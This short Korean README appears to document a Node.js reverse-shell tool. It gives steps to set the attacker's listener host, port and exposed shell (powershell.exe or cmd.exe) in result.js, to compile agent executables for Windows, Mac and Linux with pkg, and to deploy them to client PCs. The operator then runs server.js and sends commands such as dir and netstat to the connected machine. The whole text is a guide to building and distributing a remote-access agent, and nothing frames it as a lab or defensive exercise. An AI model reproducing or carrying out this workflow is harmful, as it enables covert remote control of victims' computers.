★x1 필수 설치파일
- Node.js
- (windows) https://nodejs.org/ko/download/
- (MacOSX) brew install node
- (Linux) yum install node
- PKG //에이전트 파일 생성
- npm install pkg --g
★x2 코드 수정(result.js)
-
리버스쉘을 연결할 서버 호스트(HOST_Address, HOST_PORT) 등록 const HOST_Address = [연결할 서버의 주소 입력] const HOST_PORT = ["연결할 서버의 포트 입력"]
-
리버스쉘 연결할 Command(COMMAND) 등록 const COMMAND = "powershell.exe", "cmd.exe"
★x3 에이전트 파일 생성(With PKG)
- compile.bat 실행
- results 폴더 내 에이전트 파일 확인(windows, mac, linux)
- 에이전트 파일 Client PC 배포
★x4 Server 측 포트 리스닝
- node server.js
- 대기
★x5 Client PC 측 에이전트 파일 실행
- (windows) results_win.exe 파일 클릭
- Connected 인 경우 연결성공
★x6 Server
- Open 된 Console 에 전달할 명령어를 삽입 dir, netstat, powershell.exe, echo [input text] [path]...